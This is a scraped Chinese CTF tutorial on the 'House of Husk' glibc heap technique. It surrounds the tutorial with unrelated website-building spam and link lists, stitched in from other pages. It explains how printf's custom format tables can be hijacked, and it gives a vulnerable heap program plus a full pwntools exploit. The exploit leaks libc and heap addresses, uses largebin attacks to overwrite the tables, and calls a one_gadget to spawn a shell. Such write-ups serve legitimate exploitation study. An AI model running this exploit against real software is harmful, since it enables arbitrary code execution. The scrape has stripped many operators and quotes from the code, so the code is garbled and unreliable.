当前位置: 首页 > news >正文

网站建设原码做网站中的镜像是什么

网站建设原码,做网站中的镜像是什么,昵图网 图库 素材,wordpress文章摘要显示House of Husk House of Husk是利用格式化输出函数如printf、vprintf在打印输出时#xff0c;会解析格式化字符如%x、%lld从而调用不同的格式化打印方法#xff08;函数#xff09;。同时C语言还提供了注册自定义格式化字符的方法。注册自定义格式化字符串输出方法#xf…House of Husk House of Husk是利用格式化输出函数如printf、vprintf在打印输出时会解析格式化字符如%x、%lld从而调用不同的格式化打印方法函数。同时C语言还提供了注册自定义格式化字符的方法。注册自定义格式化字符串输出方法实际上是通过两张保存在全局的表实现的。为此我们以伪装/篡改这两张表为核心目标劫持函数指针从而控制程序流。 一、printf调用过程 printf是通过ldbl_strong_alias创建的__printf的别名__printf又调用了vfprintf 因此printf➡__printf➡vfprintf // stdio-common/printf.cint __printf (const char *format, ...) {va_list arg;int done;va_start (arg, format);done vfprintf (stdout, format, arg);va_end (arg);return done; }#undef _IO_printf ldbl_strong_alias (__printf, printf);vfprintf中预设了进行自定义格式化字符串处理的分支do_positional其中继续调用printf_positional函数 因此vfprintf➡do_positional➡printf_positional /* The function itself. */ int vfprintf(FILE *s, const CHAR_T *format, va_list ap) {.../* Use the slow path in case any printf handler is registered. */if (__glibc_unlikely(__printf_function_table ! NULL || __printf_modifier_table ! NULL ||__printf_va_arg_table ! NULL)) // 当三个表之一不为空时即说明有自定义的格式化字符串处理方法goto do_positional;/* Process whole format string. */ //执行默认的格式化打印规则do{...} while (*f ! L_(\0));/* Unlock stream and return. */goto all_done;/* Hand off processing for positional parameters. */ do_positional:if (__glibc_unlikely(workstart ! NULL)){free(workstart);workstart NULL;}done printf_positional(s, format, readonly_format, ap, ap_save,done, nspecs_done, lead_str_end, work_buffer,save_errno, grouping, thousands_sep); all_done:...return done; }printf_positional函数中检查自定义的格式化操作表选择自定义格式化字符对应的函数指针传入参数完成自定义格式化操作。 因此printf_positional➡__printf_function_table[(size_t)spec](s, specs[nspecs_done].info, ptr); static int printf_positional(_IO_FILE *s, const CHAR_T *format, int readonly_format,va_list ap, va_list *ap_savep, int done, int nspecs_done,const UCHAR_T *lead_str_end,CHAR_T *work_buffer, int save_errno,const char *grouping, THOUSANDS_SEP_T thousands_sep) {...for (const UCHAR_T *f lead_str_end; *f ! L_(\0);f specs[nspecs].next_fmt){.../* Parse the format specifier. */nargs __parse_one_specmb(f, nargs, specs[nspecs], max_ref_arg);}.../* Now walk through all format specifiers and process them. */for (; (size_t)nspecs_done nspecs; nspecs_done){.../* Fill variables from values in struct. */.../* Fill in last information. */.../* Maybe the buffer is too small. */.../* Process format specifiers. */while (1){extern printf_function **__printf_function_table;int function_done;if (spec UCHAR_MAX __printf_function_table ! NULL __printf_function_table[(size_t)spec] ! NULL){const void **ptr alloca(specs[nspecs_done].ndata_args * sizeof(const void *));/* Fill in an array of pointers to the argument values. */for (unsigned int i 0; i specs[nspecs_done].ndata_args;i)ptr[i] args_value[specs[nspecs_done].data_arg i];/* Call the function. */function_done __printf_function_table[(size_t)spec](s, specs[nspecs_done].info, ptr);...}}...} all_done:... }另外printf_positional➡__parse_one_specmb()➡(*__printf_arginfo_table[spec-info.spec])(spec-info, 1, spec-data_arg_type,spec-size) size_t attribute_hidden __parse_one_specmb (const UCHAR_T *format, size_t posn,struct printf_spec *spec, size_t *max_ref_arg) {...if (__builtin_expect (__printf_function_table NULL, 1)|| spec-info.spec UCHAR_MAX|| __printf_arginfo_table[spec-info.spec] NULL/* We dont try to get the types for all arguments if the formatuses more than one. The normal case is covered though. Ifthe call returns -1 we continue with the normal specifiers. */|| (int) (spec-ndata_args (*__printf_arginfo_table[spec-info.spec])(spec-info, 1, spec-data_arg_type,spec-size)) 0){...}... }因此不论是__printf_arginfo_table还是__printf_function_table的注册函数都会被调用这两个地方都可以用作劫持。然而有几点需要注意 __printf_arginfo_table中的函数指针先被调用__printf_function_table中的函数指针后被调用一般通过vprintf的__printf_function_table ! null触发自定义格式化字符解析的分支由于1和2如果借助__printf_arginfo_table劫持程序流一般也需要确保__printf_function_table ! null由于1和2如果借助__printf_function_table劫持程序流需要确保__printf_arginfo_table ! null否则会出现错误而且因此也需要__printf_arginfo_table[spec-info.spec]null 二、格式化字符处理函数注册机制 既然存在自定义字符-自定义格式化函数的映射处理机制我们不妨看一下注册函数来帮助我们更好理解这几张表的作用。 通过在源码项目中查找__printf_function_table字符串可以定位到stdio-common/reg-printf.c中的__register_printf_specifier函数 /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier(int spec, printf_function converter,printf_arginfo_size_function arginfo) {if (spec 0 || spec (int)UCHAR_MAX){__set_errno(EINVAL);return -1;}int result 0;__libc_lock_lock(lock);if (__printf_function_table NULL) // 如果为空说明是第一次注册开始建表{__printf_arginfo_table (printf_arginfo_size_function **)// /* Maximum value an unsigned char can hold. (Minimum is 0.) */// # define UCHAR_MAX 255calloc(UCHAR_MAX 1, sizeof(void *) * 2); //创建表分配一段大小为(UCHAR_MAX 1) * sizeof(void *) * 2的连续空间//可以存储0x200个(void*)类型数据if (__printf_arginfo_table NULL){result -1;goto out;}// __printf_arginfo_table 占分配空间前0x100个(void*)的空间// __printf_function_table占分配空间后0x100个(void*)的空间// |__printf_arginfo_table | __printf_function_table|// |--------0x100--------|---------0x100--------| 每个单元大小sizeof(void*)__printf_function_table (printf_function **)(__printf_arginfo_table UCHAR_MAX 1);}//自定义格式化字符spec与两张表的映射关系即索引关系__printf_function_table[spec] converter;__printf_arginfo_table[spec] arginfo;out:__libc_lock_unlock(lock);return result; } libc_hidden_def(__register_printf_specifier)weak_alias(__register_printf_specifier, register_printf_specifier);/* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_function (int spec, printf_function converter, // 封装__register_printf_specifierprintf_arginfo_function arginfo) {return __register_printf_specifier (spec, converter,(printf_arginfo_size_function*) arginfo); } weak_alias (__register_printf_function, register_printf_function)三、模板题与题解 pwn.c #includestdlib.h #include stdio.h #include unistd.hchar *chunk_list[0x100];void menu() {puts(1. add chunk);puts(2. delete chunk);puts(3. edit chunk);puts(4. show chunk);puts(5. exit);puts(choice:); }int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf); }void add_chunk() {puts(index:);int index get_num();puts(size:);int size get_num();chunk_list[index] malloc(size); }void delete_chunk() {puts(index:);int index get_num();free(chunk_list[index]); }void edit_chunk() {puts(index:);int index get_num();puts(length:);int length get_num();puts(content:);read(0, chunk_list[index], length); }void show_chunk() {puts(index:);int index get_num();puts(chunk_list[index]); }int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();int choice get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:printf(invalid choice %d.\n, choice);}} }exp.py from pwn import * elfELF(./pwn) libcELF(./libc.so.6) context.archelf.arch context.log_leveldebug context.oself.os def add(index, size):io.sendafter(bchoice:, b1)io.sendafter(bindex:, str(index).encode())io.sendafter(bsize:, str(size).encode())def delete(index):io.sendafter(bchoice:, b2)io.sendafter(bindex:, str(index).encode())def edit(index, content):io.sendafter(bchoice:, b3)io.sendafter(bindex:, str(index).encode())io.sendafter(blength:, str(len(content)).encode())io.sendafter(bcontent:, content)def show(index):io.sendafter(bchoice:, b4)io.sendafter(bindex:, str(index).encode())ioprocess(./pwn)add(0,0x418) add(1,0x18) add(2,0x428) add(3,0x18) delete(2) add(10,0x500)# 泄露heap_base show(2) io.recvline() libc.addressu64(io.recv(6).ljust(8,b\x00))-0x1d20b0 success(libc base: hex(libc.address))# 泄露libc_base edit(2,ba*8*2) show(2) io.recvline() io.recvuntil(ba*0x10) heap_baseu64(io.recv(6).ljust(8,b\x00)) ~0xfff success(heap base: hex(heap_base)) edit(2,p64(libc.address0x1d20b0)*2p64(heap_base0x6d0))# 通过偏移获取两张全局表的位置 __printf_function_table libc.address 0x1d3980 __printf_arginfo_table libc.address 0x1d2890# largebin attack 让__printf_function_table指向一块内存 # 之后将该内存申请出来在对应应该调用的函数指针位置写入one_gadget edit(2,p64(0)*3p64(__printf_function_table-0x20)) delete(0) add(0,0x100) 0xd3361 execve(/bin/sh, r13, r12) constraints:[r13] NULL || r13 NULL || r13 is a valid argv[r12] NULL || r12 NULL || r12 is a valid envp0xd3364 execve(/bin/sh, r13, rdx) constraints:[r13] NULL || r13 NULL || r13 is a valid argv[rdx] NULL || rdx NULL || rdx is a valid envp0xd3367 execve(/bin/sh, rsi, rdx) constraints:[rsi] NULL || rsi NULL || rsi is a valid argv[rdx] NULL || rdx NULL || rdx is a valid envpone_gadgets[i libc.address for i in [0xd3361,0xd3364,0xd3367]] edit(2,p64(libc.address0x1d20b0)*2p64(heap_base0x6d0)*2) add(2,0x428)######################################################### # 发现只写__printf_function_table而__printf_arginfo_table为空时会在__parse_one_specmb的if判断中崩溃 # 于是这里再次largebin attack让__printf_arginfo_table指向一块堆区域 # 同时由于堆未写入数据很容易满足__printf_arginfo_table[spec]null add(10,0x300) add(10,0x418) add(11,0x18) add(12,0x428) add(13,0x18) delete(12) add(20,0x500) edit(12,p64(0)*3p64(__printf_arginfo_table-0x20)) delete(10) add(10,0x100) ##########################################################edit(2,(ord(d)-2)*p64(0)p64(one_gadgets[0]))io.sendlineafter(bchoice:,b~!)io.interactive()
http://www.w-s-a.com/news/4050/

相关文章:

  • 怎么查网站是在哪里备案的广州电力建设有限公司网站
  • 做网站自己申请域名还是对方wordpress管理地址
  • 专门做二手书网站或appwordpress首页显示特定分类文章
  • 无锡网站设计厂家一建十个专业含金量排名
  • 网站刷链接怎么做成都高度网站技术建设公司
  • flash网站模板怎么用xml网站地图生成
  • 英文网站优化群晖wordpress中文
  • saas建站平台源码济南品牌网站建设公司
  • 网站建设一般是用哪个软件网站百度
  • 企业建站的作用是什么南宁公司网站开发
  • 厦门网站建设及维护门户网站开发视频教学
  • 可以做兼职的网站有哪些自动点击器永久免费版
  • 建购物网站怎么建呀网站怎么做中英文交互
  • 网站建设费用计入无形资产做网站用的主机
  • 佛山企业网站建设平台沈阳网站建设培训班
  • 河南企业网站优化外包网站怎么做来流量
  • 网站建设的参考文献网站设计网页的优缺点
  • WordPress多站點支付插件内江市网站建设培训
  • 做做网站已更新动漫制作专业需要学什么
  • dfv印花图案设计网站网站建设应该应聘什么岗位
  • 网站后台管理系统模板下载专业网站推广的公司哪家好
  • 克拉玛依市建设局网站网页设计板式重构
  • 网站新闻专题怎么做湖南营销型网站建设 要上磐石网络
  • 阿里云发布网站成都轨迹公布
  • php网站源码架构谷歌站群系统
  • 潮州网站seowordpress 调用置顶文章
  • 做带会员后台的网站用什么软件旅游网站建设资金请示
  • 商品网站怎么做wordpress 表情拉长
  • 商城网站设计费用网络公司怎样推广网站
  • 视频公司的网站设计工图网